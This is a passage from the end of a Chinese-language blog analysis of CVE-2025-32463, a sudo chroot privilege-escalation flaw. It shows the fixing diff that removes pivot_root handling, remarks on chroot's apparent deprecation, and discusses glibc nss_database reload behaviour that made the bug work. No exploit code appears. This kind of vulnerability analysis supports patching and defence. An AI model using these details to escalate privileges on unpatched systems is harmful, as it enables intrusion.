- if (runchroot != NULL) {
- if (!pivot_root(runchroot, &pivot_state))
- goto error;
- }
-
- ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path);
+ ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot);
if (ret == FOUND) {
char *slash = strrchr(cmnd_out, '/');
if (slash != NULL) {
@@ -1122,14 +1115,8 @@
else
ctx->user.cmnd = cmnd_out;

- /* Restore root. */
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
-
debug_return_int(ret);
error:
- if (runchroot != NULL)
- (void)unpivot_root(&pivot_state);
free(cmnd_out);
debug_return_int(NOT_FOUND_ERROR);
}

删除了 pivot_root , 以及看后续似乎要 deprecated chroot [6] :

思考

这个漏洞有一个很巧合的地方, 如果当pivot_root之后, 调用到的第一个nss_database_check_reload_and_get 的第三个参数 database_index 不是 nss_database_initgroups , 且默认 nss_database_initgroups 初始化就是空 ,那么就会走到 reload_disabled 的地方并且返回, 那么之后就根本不会再读取 nsswich.conf。

我们去跟了下 libc 对 nss_database 初始化的变更 [4], 上一次的更改在五年前, 但是这个漏洞是在 23 年引入的。 目前看起来没什么特别的大关联, 应该就是特别特别的巧合。。。

Reference link


  1. 1.https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot ↩
  2. 2.https://codebrowser.dev/glibc/glibc/nss/nss_database.c.html#nss_database_check_reload_and_get ↩
  3. 3.https://codebrowser.dev/glibc/glibc/nss/getXXent_r.c.html#122 ↩
  4. 4.https://github.com/bminor/glibc/commit/fa78feca47fdc226b46e7f6fea4c08c10fccd182 ↩
  5. 5.https://github.com/sudo-project/sudo/commit/fdafc2ceb36382b07e604c0f39903d56bef54016#diff-6a3fc5e12751032d02db8970967b688eab54525c326699010870b3ffca2b6541 ↩
  6. 6.https://github.com/sudo-project/sudo/commit/bc88e5cbd3b41196cac727855e2446a02dfba51e ↩
分类: VulnerabilityAnalysis
标签: cve-cve-2025-3246 sudo
← Prev CVE-2025-32023 Redis 漏洞分析
Next → 议题分享: When ASUS IoT Devices Play Hide-and-Seek with Security

Comments

© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom